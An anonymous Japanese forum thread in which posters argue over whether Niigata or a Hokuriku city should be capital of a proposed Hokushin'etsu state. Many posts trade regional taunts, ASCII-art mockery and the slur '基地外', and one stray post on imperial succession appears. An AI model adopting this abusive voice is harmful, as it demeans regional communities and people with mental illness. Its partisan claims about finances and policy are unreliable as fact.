どうも新幹線のみで判断している傾向があるが、現実的に考えて州活動・経済は新幹線だけで
成り立つのではない。

現在日本の経済活動の動脈は高速道・主要国道・船舶による物流だ。
北信越５県は立派な高速道で結ばれている。
江戸時代以前からの物流も街道・海による物流だ。
現在は既にこれらの歴史的ルートはカバーされている。
新幹線は補助的なもの。
もうこれで十分だろう。


全国の拠点性から見て

北海道、東北、北信越、関東、東海、近畿、四国、中国、九州、沖縄の各１０大拠点が

札幌、仙台、新潟、東京、名古屋、大阪、高松、広島、福岡、那覇

と言われるが、
北海道、東北、北信越、北関東、首都東京、南関東、東海、近畿、四国、中国、九州・沖縄　各地区の拠点として

札幌、仙台、新潟、さいたま、東京、横浜、名古屋、大阪、高松（松山？）、広島、福岡

で閣議決定されると思う。

北海道、東北、北信越、北関東、首都東京、南関東、東海、近畿、四国、中国、九州・沖縄　各地区の拠点として

札幌、仙台、新潟、さいたま、東京、横浜、名古屋、大阪、高松（松山？）、広島、福岡

で閣議決定されると思う。
↑
閣議決定ってｗ
地方分権の流れからでてきた道州制だから
自治体の自主性は尊重されるだろうしそうでなければ意味がない。

新潟

東北電力(仙台の奴隷)・・・さらに新潟は関東電力の属領でもある
財務(関東の奴隷)
郵政(長野の奴隷)
農政(金沢の奴隷)
司法(関東の奴隷)
携帯3社(東北と関東の奴隷)

新潟にあるのは角栄パワーだけｗ

新潟の拠点性って何ですか？
左翼の拠点性は凄いようですけどｗ

＞左翼の拠点性は凄いようですけどｗ

革マルの日本海側唯一の拠点は金沢市

東北電力(仙台の奴隷)・・・さらに新潟は関東電力の属領でもある
財務(関東の奴隷)
郵政(長野の奴隷)
農政(金沢の奴隷)
司法(関東の奴隷)
携帯3社(東北と関東の奴隷)
左翼（金沢の奴隷）

＞北信越州都

今回の中越地震で何を学んだ？

>>123
金沢人の性格の悪さを改めて認識した

やっぱり新潟の拠点性は凄いよ
北信越州都は新潟市だよ
国の出先を数多く有する新潟が最強

新潟

東北電力(仙台の奴隷)・・・さらに新潟は関東電力の属領でもある
財務(関東の奴隷)
郵政(長野の奴隷)
農政(金沢の奴隷)
司法(関東の奴隷)
携帯3社(東北と関東の奴隷)

これほどの北陸、信越を管轄する機関を金沢はさすがに持っていないでしょう。

>>124
ネットでしか見れないのかね？
あの地震では金沢をはじめ北陸からも人やお金がいってるんですが？

>>126
それはそうだが・・・
今回の金沢市民と思われるヤツの書き込みは異常だった。

それを言ったら韓国にも当てはまるな。

>>127
そんなんどこにでもいるだろ。

逆に金沢で地震があったら
一人ぐらい基地外が出てもおかしくない。

>>128
まあそうだけどな。
「地震は天罰だ」とかの書き込みを見ていい気分するヤツはいないだろ。

今回の地震を経験した新潟人は金沢で地震があってもそんな書き込みをしないと思う。

地震直後にキムスレ総ageしてた奴が何を言っても無駄だ。
同じ県内なのにボランティアもできないのかよ。
義をみてせざるは勇なきなりってか。

>>129
どうだろうね。
新潟市はそこまで被害も大きくなかったわけだし
いてもおかしくないだろ。

南海地震や東海地震が起こっても
似たようなのが出そうだけどな。

>>130
それも地震直後の金沢人と思われるヤツが書き込んでたことだな。
その台詞は実際にボランティアをした人だけに言える言葉だろう。

>>131
思えば「阪神大震災は笑った」の頃から被災地を叩くヤツはいたんだよな。あのコピペができたのは5年以上前だが。

>>125
関東電力とは何だ？

　l.　　,'　　i ___,,iレ'´l|. l　}!/　 //ﾚ　/|,! ﾘ !　 ,! /
　 !　 ｉ　　 |　 i !|　/! l'　/ｲ ／　弋ﾌ~厂/' ／'/　　　　　　　ﾆｮｲﾆｮｲ〜だよぅ
　 l | i|!.　　!　ｌ.!_ﾚっ´厂　´　　　　｀¨, , 'イ､ｲ'′
　　ll |lﾊ　　', ｌ|＾ｰ-‐'　　　　　　　　　　　 jィl　　　　　ニョイニョイ〜だよぅ
.　. | !|　ヽ.r‐v　　' '　 　 　 ｒ―1　 　 　 / .|l
　 . |l |　　.{´(ゝ_　　　　　　 l.　 j　　　,.ｲ!　‖ 　　　　　　キモがられたって政令市だよぅ
. 　 |. |　　l lー‐‐　.__　　　　ヽ_'_,. ィl　 ｌ!.　 |　　 　　 　　　　　メ ／ )｀) ) 　
　　.l　| 　 !ﾊ　　 ヽl ､}｀￣￣　| ｌ!　ｌ|　 |　　|　　　 　　　　　メ ／／／／ﾉ 馬鹿にされても政令市だよぅ
　　l!　|　〃|.ヽ　　 ヽヽ　 　 　 !_l!　l|　 |. 　 l　　 　　　　 メ ／ノ )´｀´／彡
　 　　 ! /,r''´:.l ヽ.　 ', iー---‐'' ＞―‐- ､　! 　　　　　 　／　　 ﾉゝ　/ 　　　oﾟﾟ　ﾍﾟﾀﾍﾟﾀ･･･
　　　　 く:...:...:...!　',　 ｉ l｀￣￣'´:...:...:...:...:...:.ヽl　　 　　　／|　､_,,ｨ '___,..--‐‐‐‐‐-...,_
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　／:::::::::::::::::::::::::::::::::'., 　ﾍﾟﾀﾍﾟﾀ････　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　/::::::::::::::::::::::::::::::::::::::::::::..

失笑にはこのスレに来て欲しくない。迷惑だ。

ID:+EtRTGqFはホド汚だろう。
pointと同じ目に合うぞｗ

>>136
キムスレ総揚げしてたからか？
それともお前はﾁ(ry

失笑が来るとどれもクソスレ化する。あ〜嫌だ。落ちます。

>>139
クソスレ化の原因は金沢人だろう。
やはりお前はﾁ(ry

>>125
政令指定都市以降後、平成の大合併が一段落してから、全国規模の行政機関の再編があると思われる。

それにより今後の州枠等の動向の予測がつくと考えられる。

>>120
自治体の自主性でまとまるかな？

多分まとまらないと思う。
そうなったら君はどんな円満解決策があると言うのだ？
ないと思う。

それでも国は結論を出さなくてはならない。
全て丸くおさまる事は無いだろう。
必ず不満は出る。
どんな結論が出るかはわからないが、最終的にみんながそれに従う事になるだろう。

州の枠組と行政機関の管轄は別だ。
行政機関は民意や選挙とは無関係に再編できるが、
州の枠組みを決めるのは住民だからな。

北陸と新潟がひとつにまとまるはずがない。民意がゼロだ。
むしろ新潟は分立を恐れるべきだろう。
東北、北陸、関東で枠組みが決まってゆく中で一人取り残される。
自立できない以上、最終的にはどこかの縁に入らなければならない。
南は北陸を望み、北は東北を望めば分立しかない。
新潟と似たような状況にあるのが山口。山口も分立の可能性が高い。

>>142
まとめられるかまとめられないかではなくて、
まとめられなければ道州制をする意味がない。

長野県や福井は北関東、関西というのは確定だと思う。
九州は人の流れがある。だから福岡にまとめても問題はない。
交流のない弱小都市が州都になって自分のとこははずれになる
これで我慢しろとか言われたらそれは地方分権どころか民主主義ですらない。

>>143
北陸も自立できないと思うよ。かなり。
しかも一番分断傾向なのは他ならぬ北陸

北陸は3県だけでは300万人で茨城県レベルにしかなれない。

>>145>>146
何で北陸の話になるかな？
福井関西で北陸は崩れてるから、
金沢は東海、新潟富山は北関東に入れてもらえばいいだろ。

小松空港は関西だろう。
福井国際空港に名称変更だ。
小松と福井間で合併して政令指定都市
福井市

>>146
確かに北陸3県規模では州としては認められない。

また、単に「新潟市の配下に入るのがいやだ」「つながりがない」「プライドがゆるさない」程度では
たとえ民主主義といえども国からは認められない。

国も人口バランス、行政等、ちゃんと理由があるからこそ選挙区で北陸信越ブロックを定めている。
http://www.city.yokohama.jp/me/senkan/tosho/map.html

新潟を目の敵にしているみたいだが、合併特例法に従い、しっかりとした合併を福井、金沢、長野、富山は実践できたのかな？
ろくな合併もしてないくせに文句をたらたらたれるのは筋違いであり見苦しい限りだと思わないか？

なんだかんだ言っても新潟は周辺13市町村（巻町も入るので14市町村）を編入合併し81万都市になり、更に国に認められて政令指定都市にも昇格できる。

「国が〜」ではなく、全国標準一般的基準からして、大都市を核とするブロックに編成されるに決まっているだろう？
少なくとも新潟市は国から評価されるだけの業績を出している。

最終的には周辺各州の状況・バランスを対比しながら北信越州枠等は設定されると見られる。

不満が出たとしても、それは、しっかりと合併しなかった、政令指定都市になれなかった福井、金沢、長野、富山、各都市の責任だ。

最終的に、国もそうだが、他州の動向・州内都市条件等により決定されるだろう。

新潟が必死だな〜

>>150
ちゃんと合併してから言いましょう

新潟が必死だなあ〜

道州制の再編相手、「長野・北陸3県最適」―県研究チームが報告書

新潟県の若手職員で構成する「県のあり方研究チーム」は「道州制が将来導入されたら、
新潟県は長野県や北陸三県と一緒になるのが最適」とする報告書をまとめた。道州制は
全国の都道府県を十程度のブロック（州）に再編する制度。報告書は
（1）東北（新潟県と東北六県）（2）関東（首都圏一都六県と山梨、長野、新潟県）
（3）北陸（新潟、長野、富山、石川、福井県）（4）信越（新潟、長野県）
（5）新潟福島（新潟、福島県）の五パターンを想定。地理的・歴史的条件、財政能力、
区割り規模などの点で県にとっての優劣を比較した。「関東」は一つの州としては経済力
などが大き過ぎて、実現性が低いとした。「東北」は面積が広すぎるほか、自主財源が低い
と指摘。「新潟福島」は国の地方支部局の管轄の違いなどの問題点を挙げた。最適とした
のは「北陸」。気候が似ており、人口当たりの生産額や税収が近いほか、国の地方支部局の
管轄区域ともほぼ一致し国から権限移譲を受けやすい点などを評価した。「信越」は規模が
小さい点を除けば優れており、北陸州への移行段階の一つのステップとして考えられるとした。
2003.05.10　日本経済新聞

新潟は財政再建団体に転落するからね〜
県の政治力低下と発言力低下は避けられないよ〜

自己破産するような愚か者が新会社の社長になりたいって手を挙げても誰が賛成するの〜？

ガキになにを言っても仕方ないだろうが、
百歩譲って北信越州とやらが成立するとしても、
それは北陸に新潟が吸収合併されるのであって
新潟、それも新潟市が主導権を取れる可能性は完全にゼロだろ。

さまざまな枠組みを検討するのは、
どの枠組みでも主導権が取れないという焦りの表れだ。

>>155
新潟県は県財政を犠牲にしながらも県土の発展・県内業者のために無理をして来た善意の県政だ。
他県業者のためにダム建設等をして来た長野県等とは異なる。

この県民（州民）を第一に考える行政は国からも理解されるだろう。

それに、州政をとるのは新潟県ではない。
州内各地から選出された州議会議員だ。

州都は単なる議会所在地。
新潟県の財政とは無関係。
同様に、福井、石川、富山、長野の財政とも関係ない。

>>156
ガキと言ってる君自身が問題だ

あ〜新潟人やだやだぁ〜
キモーい♪

長野のような他県を悪者にする言い方って気に入らないな。
新潟だって他県の業者に便宜を図ってきたでしょうが。
新潟市職員は他県の業者にも価格漏洩して談合を黙認してきたでしょうが。
他県の悪口まで言って自分の身を守ろうとする神経が理解できない。

新潟は時限爆弾だらけじゃん〜
今まで3セクが幾つ破綻したんだっけ？
現在の新潟県の債務超過の3セク会社は公表されてるだけで15社。
負債額は北陸3県の約3倍。誰も近づきたくないだろ〜

人口激減衰退ニョイをなんで助けてやらないかんのだ？北陸長野は？

ここで人口８２万、日本海側最大の新潟市の登場です
朱鷺メッセ
http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=216
http://www.niigata-cci.or.jp/photo/contest.asp?concode=6&cdcode=233
http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=210
萬代橋
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=163
http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=10
やすらぎ堤
http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=15
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=147
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=159
http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=80
ビッグスワン
http://www.niigata-cci.or.jp/photo/contest.asp?concode=2&cdcode=42
日本海
http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=14

北陸の人口減少率が急激にあがっていてあと３年後に新潟県の減少率を上回るんだが

スペースネオトピアの負債総額は幾らでしたっけ〜〜？
堂々の全国トップ10入りの負債額でしたよね〜〜
新潟にはまだまだ地雷がゴロゴロしてますよね〜

>>160
それはおかしいな。
散々新潟の悪口を言っている他県他都市は良いのかな？

おたがいさまでは？

新潟県は善意の県政で長野県は悪の県政？

>>167
決して長野を悪とは言っていない

州都は金沢、富山、長野の中から決定される。間違いない。
新潟市と福井市は僻地すぎて問題外。

78万都市誕生。
合併まで 55日

>>167
そう言いたいみたいだな＞新潟

>>169
他州は政令指定都市か、州内最大都市が指定されるだろう。
国は例外は認めない。

島根県の県庁所在地の松江市は新潟よりも遥かに県北に位置する。
位置は余り関係なさそうだ。

　l.　　,'　　i ___,,iレ'´l|. l　}!/　 //ﾚ　/|,! ﾘ !　 ,! /
　 !　 ｉ　　 |　 i !|　/! l'　/ｲ ／　弋ﾌ~厂/' ／'/　　　　　　　にいがた〜だよぅ
　 l | i|!.　　!　ｌ.!_ﾚっ´厂　´　　　　｀¨, , 'イ､ｲ'′
　　ll |lﾊ　　', ｌ|＾ｰ-‐'　　　　　　　　　　　 jィl　　 　　　キモキモ〜だよぅ
.　. | !|　ヽ.r‐v　　' '　 　 　 ｒ―1　 　 　 / .|l
　 . |l |　　.{´(ゝ_　　　　　　 l.　 j　　　,.ｲ!　‖ 　　　　　　　　うんこクサ〜だよぅ
. 　 |. |　　l lー‐‐　.__　　　　ヽ_'_,. ィl　 ｌ!.　 |　　 　　 　　　　　メ ／ )｀) ) 　
　　.l　| 　 !ﾊ　　 ヽl ､}｀￣￣　| ｌ!　ｌ|　 |　　|　　　 　　　　　メ ／／／／ﾉ 嫌われモノ〜だよぅ
　　l!　|　〃|.ヽ　　 ヽヽ　 　 　 !_l!　l|　 |. 　 l　　 　　　　 メ ／ノ )´｀´／彡
　 　　 ! /,r''´:.l ヽ.　 ', iー---‐'' ＞―‐- ､　! 　　　　　 　／　　 ﾉゝ　/ 　　　oﾟﾟ　ﾍﾟﾀﾍﾟﾀ･･･
　　　　 く:...:...:...!　',　 ｉ l｀￣￣'´:...:...:...:...:...:.ヽl　　 　　　／|　､_,,ｨ '___,..--‐‐‐‐‐-...,_
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　／:::::::::::::::::::::::::::::::::'., 　ﾍﾟﾀﾍﾟﾀ････　　
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　　　　　　　　　　　　　　　　　　　　　　失笑はうれしい→ 　　ゝ　 ／' 　'＼　　　 :::::::::::'
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　　　　　　　　　　　　　　　　　　　　　　　　　　　　　デヘヘ･･　.l　彡ﾄｮﾖｺｲミ　　.ソ ::
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ヽ彡｀ニ'U:ミ　,.i-、　　+
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　,｀~,'i' "~ ／　　,>"'-、

>>172
北陸の人間は新潟みたいな弱小都市ではなくて
名古屋や大阪と組みたがっている。
鶏の頭になれないのが明確なら
北信越州なんて誰もやりたくないだろうからな。
これを無視はできないよね？
結局新潟市は自分のとこだけ
発展すればいいなんていう傲慢な考えで
はずれになる長野や福井のことは考えてないからな。

県民にとってはいい県政（これは財政破綻の詭弁だよな）だろうが
ほかに対しては傲慢だから大多数にとっては悪政だね。

　　　　　　,..-‐‐―‐‐-..、
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　　l ｀`ｰ-.､＿＿＿＿ ,...-‐'´.l　 　 ┌―――――――――――――
　　ヽ､_|　`ー'　　/　`ー'　|_,ノ　　　｜　カン違いクソ田舎の新潟人が
　　／　`‐､_ 　 `ニ'　　 ノ　 ＼　　＜ 　ご迷惑をおかけしております。
　i'´　　、　 |``r===ｒ'´|　　,_＿_ヽ_ .｜　　　申し訳ございません。 　　
.｜　　 i、　 ￣＼／￣　 ｜　╋　| └―――――――――――――
　|、　　|、 　 　 □　.[工]├‐‐‐ｭ┘
　 |、　 ヽ、.　　 □ 　 　 ./　　 /
　　ヽ、　ヽ―‐┌┐―‐'i 　　/
　　　 `<´.ゝ―└┘―く´｀`y
　　　　 ヽ､_)　　┐ 　　(_,.ノ
　　　　　| 　 |　 ｜　｜　 ,!
　 　 　　.l、 ｜ .｜ 　|　　|
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　　　 ,-‐'´　　　｜　 　 ｀ｰ-、
　 　 （.　　　　 　 !　　　　　　）
　　　 `ｰ--'´`ー^ー'´`‐--‐

>>175
しかし、名古屋や大阪が北陸を重視するだろうか？
新潟の傘の下に入りたくないための詭弁としか思えない。
これは新潟に対する不戦敗宣言と言える。実に後ろ向きな考えだ。

ならば言うが、新潟を抜いて上に立とうと言う位の根性は無いのか？
負け犬の遠吠えとはこの事だ。

少なくとも新潟は本州日本海側の中枢・核都市を目指して北陸（北信越）をリードするためにビジョンを持っている。
勿論、北陸信越の発展を目指しての事だ。

事実、国は新潟を拠点都市とするための政策を打ち出していると同時に、新潟自身も国に対して積極的に拠点都市構想をアピールしている。

何も策を講じもせず、ただグタグダのうがきをたれているのが反新潟地域の現状だと言える。

これは日本全国の誰が見てもその通りだろう。

くだらんな。

>>177
新潟がなぜ北信越にもって行きたいかというと
やはり政令指定都市になって州都をとりやすいから。
こんな出来レースに乗るのは馬鹿。

北陸に関しては新幹線の開通で首都圏のアクセスがよくなり
地域としては新潟に勝てる。
地域の拠点性は関東ー関西ー東海の中間の北陸のほうが
東京−（日本海）東北のラインより強いからね。

名古屋や大阪が北陸を重視するだろうか？
↑
もっと勉強しろ
金沢なんて名古屋の重要な植民地、
簡単に他都市に渡すわけないだろ。
長野は完全に関東になってるし。

行政の根幹、選挙区が北陸信越になっている事は決定的だ
http://www.city.yokohama.jp/me/senkan/tosho/map.html
これだけは絶対に揺ぎ無い事実だ


後は国の行政機関の再編次第だろう
最終的に国が全国バランスを考えた上で公正な判断を下すだろう

>>179

>金沢なんて名古屋の重要な植民地
などと誇らしげに言っているが、金沢として何か虚しくないか？

>>181
そうだろうが事実だ。
完全ではないけどテレビ局（確か石川テレビ）とか
北鉄とか名古屋資本だからな。

>>182
それで満足しているのか？

そんな心掛けだから合併できないんだよ

新潟市内氏ね。

名鉄も中日新聞も。
金沢は名古屋富山の実質的な植民地。

>>183
合併出来る出来ないでなくて
生活の問題でしょ。
だいたい県の人口考えて金沢なんて70万達成なんて
まず無理だからな。

いっとくけど野々市町長なんてＤＱＮだよ。
あんなのがいて不幸だっただけ。

そんな考え方では国により自動的に北信越枠に編成されるな。

考えても見ろ。
国が新潟を本州日本海側、環日本海の拠点にすると言ってるのだ。
拠点と言う事は、必ず後背地・バックボーンエリアが存在すると言う事だ。

そうなったら国は何処をバックボーンエリアに設定するかな？

日本海だから関東は有り得ない。東北は6県で仙台がたばねている
そうなると北陸と信越の長野しかないだろう？

まあここで議論しても絵に描いた餅に過ぎないが、全国の動向をよく見て考えよう

>>185
富山はどうかな。
２ｃｈで言われてるほどじゃない。
だいたい電波だしな。

ただ名古屋の影響は大きい。
しかし中日新聞はそんなに浸透してないが。
案外本家よりはまとも。

>>188
おいおい石川県の企業で北陸銀行がメインパンクの企業どれだけあるよ。

>>187
最後は国ですか？
何のための道州制だよ？

そもそも余り物の中部のあまり物なんだから
無理にまとめなくていいじゃん。


新潟に拠点性はなく
新潟人が北陸新幹線をびびってるのは事実だけど？
大体環日本海で一番恩恵を受けるのは
福岡とか大阪であんまり期待しないほうがいいぞ。

>>186
野々市の町民掲示板
http://www.town.nonoichi.ishikawa.jp/cgi-bin/odb-get.exe?WIT_template=FT010100&topic_id=5
を見てもわかるが、真剣に金沢市との合併を考えている前向きな人もいる。
とにかく町長が変わる事が必要だろう。

それから初めて金沢の未来は開けるだろう。

>>189
そりゃあるけど、
名古屋のようにインフラやマスコミを得てるほどじゃないし。

とういうか考え方の問題だろ。
北陸銀行にとってもお客様だからね。
富山県だけの企業だけではあそこまで大きくなってないし。
そういう意味では支配ではなくて共存に近いだろ。

>>191
そうだな。
内灘は変わって合併できそうだし。
事実上金沢市なんだから別にこだわらなくてもいい＞野々市。

http://www.mlit.go.jp/kokudokeikaku/100YD/teian/teian_15.htm
道州レベルでの国づくりのイメージが描かれており、北陸は“日本海”という
道州地域に含まれ、スウェーデンに匹敵する経済規模となっている。

国土交通省内の32名の若手職員と4名の主査の計36名からなる大臣直属（当時、
扇千景大臣）のタスクフォースが、「21世紀の100年間にわたって日本の国土は
どうあるべきか」について、自由な意志・発想に基づいたアイデアをまとめた
『国づくりの100年デザインの提案について（平成15年4月）』

>>192
電力と金融が資本社会最大のインフラと価値なんじゃないんですか?
地域全体に貢献しているのは同意。
しかも石川だけじゃなく北陸全域に勢力圏を持つ。

>>190
国を否定的に見ているようだが、現実的に考えよう。
北陸新幹線の建設財源も国が下した採決により拠出される。

周りを良く見よう、激甚災害指定も国が決定を下している。
不本意ながら全部国が頼みだし、国が金を出しているのも事実。

否定的になるよりも国からの信望を得る事に努めてみてはどうだ？

卑屈になればなるほどドツボにはまる事になる。

新潟市内がウザイスレだ。
もうだれも書込みしなくていいぞこの手のスレは。

>>195
私電力会社の経緯とか詳しくないけど
北陸電力は最初から民間で競争をやってきた企業なの？
ほかに相手もいないのでは？

銀行に関してはすごいと思うけどね。

>>179
新潟市内は⇒新潟市
に改名したと聞いてますが

違うスレに移動したほうがいいよ。

>>196
論点をすり替えてないか？
道州制の話題で国が出てくるのがおかしい。


大体今まで一極集中が激しかった。
だからこれからは地方分権の時代で着てるのに
いまさら何のかかわりもない都市と運命を共同せよ
ということのほうが奇天烈だとおもう。

>>198
昔のことはそんなにさだかではないですが売薬等で資本を築いた会社等が電源開発をしていまの基礎を築いたそうです。
のちに県内の電力会社をまとめて設立にいたったそうです。
北陸電力の社史でも見ればはっきりしますが。

ここは新潟市が北信越州都にふさわしい事を書くスレだから

このスレ内では　北信越州都新潟市　でいいんじゃない？

>>202
そうかい。
あとで見ときます。
石川県がもう少し富山県をいたわっていれば
分県せずにそれなりの県になってるんだけどな。
北陸は単体が小さすぎる。3つで新潟と同じだからね。
その割にはどこもそれなりにやってきたとは思うけど。

金沢市も羽咋市、羽咋郡、かほく市、河北郡、金沢市、野々市町、松任市、
鶴来町、能美郡の範囲でなれば人口８０万人くらいになるよ。
この地域で合併できないのは合併できないのは各市町村が古いしきたりに
すがっているせいです。失笑サンは以前に「金沢人の性格の悪さを改めて
認識した 」と書いてあったが、皆が皆そういうわけではない。
地盤沈下している土地を普通に売りつける不動産がある新潟のほうが全体
的に性格が悪いと思う・・・

新潟市内は基地外だから放置でいいんじゃない？

とどのつまり・・・新潟に嫉妬しているんだろ？他の北陸＆長野の連中は。
まあ確かに新潟は金沢、富山、長野よりも圧倒的に都会ってわけじゃないからな。それは認める。

しかし合併を進め８１万都市になり、政令指定都市になる（予定だが）新潟が現時点で最有力候補である事実は揺るぎないだろ？
新潟はそれ相応の努力もしているし国に対してもアピールしているわけだからさ・・・。

不満があるなら結果を出せなかった自分のお国のお偉いさんに不満ぶちまけるべきだ。
行き場の無い不満を新潟を煽るのはお門違いだろ？

>>205
新潟市の場合は新潟県も協力的だった。
金沢市も石川県が積極的に政令指定都市化を推進すればよいと思う。

「売りつける不動産がある」の意味がよくわからないけど、本州中ほどで日本海に面していると言う点では１つのエリアである事は間違い無い。

>>207
その通りだ。
勝手に新潟攻撃を必死にする暇があるなら、少しでも合併を進める事を考えるべきだな

>>208
富山も金沢も広域合併で政令指定クラスを作ると県庁の立場が不明確になり事実上無理なんだよ。

>>208
１つのエリアじゃないだろｗ


富山は新潟よりも福井重視。
富山がどういう動きをしてるか色々と調べてみるといいですよ。
越の国構想の中に福井を引き込むための素地づくりをしてる。
ところが富山は新潟は軽視している。ちょっとこの辺はドロドロしてるね。

>>207
やはり努力が第１だ！
何もせずにグダグダのうがきタラタラ流して不戦敗論を自慢下に語っているようでは駄目だな。

ただ一つ明確に言えることは新潟より北陸のほうが裕福だということか。
これは進学等々の意識、価値感、全てにおいて新潟と北陸には差がある。

国も結果は出さなくてはならんから、やはり北信越は最後は国が強制組枠するんだろうな

>>214
北信越市長会もあることだし

長野県の県庁所在地が松本だったら北越と一緒にされることはなかったんだろうな。

地域がどういう動きをしてるかもっと調べてみたら？
道州制なんて地域のハンド・イン・ハンドの延長だから。
最終的には新潟市は貧乏くじを引くことになるだろう。

>>216
時代の流れだな〜

>>217
反新潟派には不本意だろうが、新潟市長も日本海側の拠点都市を目指した構想を展開している。
最後は国の力を借りる事になるだろうが、国を動かすのも都市の実力だ。

今の時代、常に走り続けなければそれこそ貧乏くじを引く事になる。
少なくとも新潟市は北信越内では、最も努力し、頑張っているよ＄％！！

何かクダランな。

>>219
やはり努力が一番！
不戦敗は何も想像しない

>>220
何も努力しなければもっとくだらんよ

>>205
松任合併しちゃったし、
羽咋はさすがに無理だと思う。
津幡と内灘、野々市ぐらいだろうな。現実的に。

>>213
富山県　対　新潟県

石川県　対　新潟県

福井県　対　新潟県

でなければ正しい対比じゃないな

>>224
それでも充分、北陸3県のほうが優れてる。

　が　ん　ば　ろ　う　新　潟　

>>223
新潟は周辺＋12市町村で78万都市
＋巻町で81万都市
＋阿賀野市で86万都市

ＩＤ変えて新潟市内が一人で必死か。

>>219
日本海側の拠点？
中国や韓国が優先して新潟に来ると思うか？
よくて極東関係でしょ。

>>225
どこが？

>>227
逆に言うとそこまで行政範囲広げる意味あんのかな？

>>229
まずは、北信越の拠点から

>>232
だからその地域が機能してないから。

>>231
新潟周辺の各市町村は元来小面積だから、決して広すぎじゃないよ
裏を返せば人口密度が高いと言うのが正解

>>233
機能させるために努力してるんだよ！

とにかく努力が大事だ＆％！

>>235
機能してどうなるの？
北陸にとって名古屋や大阪より遠い地方都市
と経済活動を行う必要性があるかね？

>>232
だから北信越一体となって協力して発展させないといけないんだろ？
ただでも本州の僻地なんだからさ・・・北信越なんて。
なのにいがみ合ってばかりだ・・・。

こんなんじゃマジで北信越に未来なんて無いぞ？

>>237
いや、まて、それ程遠くないからこそ新潟を必死で攻撃しているのでは？

ワリ・・・>>233の間違いだｽﾏｿ

>>238
現実の北信越人はそんな風に考えているのかな？

>>240
ラジャー

>>241
まあ考えてないだろうな。ってゆうか気付いていない。
何処も自分の国のことばっか・・・だからこの地域はダメなんだ

>>239
いや明らかに違う地方って言う認識だけど？
東京とのアクセスがよくなったら新潟なんてますます
北陸とは関係が薄まると思う。
>>238
だから僻地の新潟はほっといて
北陸は進歩的解体でそれぞれ発展しますね。

>>244
どうして北陸3県人は負け犬根性なんだ？

>>245
沈没船には乗りたくない。

新潟と組んで明るい将来があるとは思えん・・・

しかし北陸人は何かにつけて北陸新幹線持ち出すな・・・唯一の希望か？

破産寸前、人口激減の新潟と組んだらどんな明るいビジョンがあるんだ？　
ちょっと提示してくれ。

>>248
新幹線だけでは社会は成り立たんぞ

>>249
新潟といっしょになるのではない

北信越としてスタートするのだ

>>251
新潟と一緒になって北信越としてスタートするのか。

>>252
富山も石川も福井も長野もいる

>>253
みんないる

新潟と一緒になると何かいいことあるの？

北陸3県も長野も乗り気じゃないんだろ？

やはり国による強制合併か

新潟は何で山形とかと一緒にならないの？
そっちのほうが人の流れは多いから自然だろ？

>>257
山形は仙台の管轄下だから新潟とは一緒にならないよ

>>258
北陸自動車道と言う大動脈がある。
特急雷鳥、北越は新潟と北陸をむすぶ。
高速バスも東北よりも北陸・長野・関西方面の本数が多い。

>>259

>>257ではなく
正しくは>>258でした

皇室が日本で唯一の皇室として認められているのはなぜか

それはあの御一家を「国民の象徴」だと国民がみな信じているからだ
敗戦からの復興も高度経済成長も震災や災害のときも、つらいときも苦しいときも
あの御一家が国民とともにあったからだ

血なんてどうでもいい
二重橋の向こうで
皇居の中で
行幸の車の中で
避難所の被災者達の前で

あの御一家が手を振って下さり手を握って下さったからだ

DNAだのY遺伝子だのどうでもいい
聞いたことも無い旧宮家など御免こうむる
国民はあの御一家を敬愛し思慕し尊敬しているのだ

その御一家の御長男の一人娘があの家を継げないのならば
日本の国は歴史は死んだに等しいのである
我ら国民が愛するあの御一家にはどうか栄えて続いていって欲しい
数千年の血が国民になにをしてくれた
大切なのは今あそこに確かに居て下さるあの御一家なのだ

>>259
だからその発想がだめなんだって。
国が現在の分け方で決めてるからって思考停止してるんだよ。
問題は経済活動がどの程度行われてるとか
人の流れがどうかということだろ。

>>260
おいおい北越は何時間かかるの？
新幹線開通時は金沢から
東京2：47分（飛行機あり）
大阪2：30分（雷鳥）
名古屋2：40分（しらさぎ）
福岡　飛行機あり
札幌　飛行機あり
新潟　4時間弱（飛行機なし）
これでどうやって北陸の人間が新潟を選択すると思うかね？
魅力が少ない上に交通の便も悪い。

大阪と新潟なんてほとんど無関係だろ。
それがよく出てるのは大学の就職先で金沢や富山は中部や大阪の企業が多いんだけど
新潟に行くとほとんどない。

　 ∧＿∧　　　　∧＿∧　　　∧＿∧　　 ∧＿∧　　　　　∧＿∧
　 (　´∀｀）　 　（　´ー｀）　　（　｀Д´ ）　 （　ﾟ ∀ﾟ ）　　　　（　＾∀＾）
　（　　　　つ┳∪━━∪━∪━━∪━∪━━∪━┳⊂　 　 　つ
　｜ ｜　|　 ┃　　　　　祝☆78万都市誕生　　　　　 ┃　｜ ｜ ｜
　（_＿）＿） ┃　　　　　<<合併まで 54日>>　　　　　┃　（_＿）＿）　
　　　　　　　┻━━━━━━━━━━━━━━━┻

>>263
これからの新時代は変わる

北陸3県に政令指定都市が無い状況下では、いくらわめいても通じない

なんか一般的に先が見えてるな〜

石川と福井と滋賀と京都で京都州でいんじゃないのか。
州都は京都だ。
新潟を州都にするなら、京都もありだよな。
百万都市京都の方が新潟を州都にするよりかマシ。
富山と石川も名古屋を州都とする名古屋州に入るのも手だな。
新潟市のような僻地を州都にするよりは名古屋に支配されてもいいかな。

ここで人口８２万、日本海側最大の新潟市の登場です
朱鷺メッセ
http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=216
http://www.niigata-cci.or.jp/photo/contest.asp?concode=6&cdcode=233
http://www.niigata-cci.or.jp/photo/contest.asp?concode=5&cdcode=210
萬代橋
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=163
http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=10
やすらぎ堤
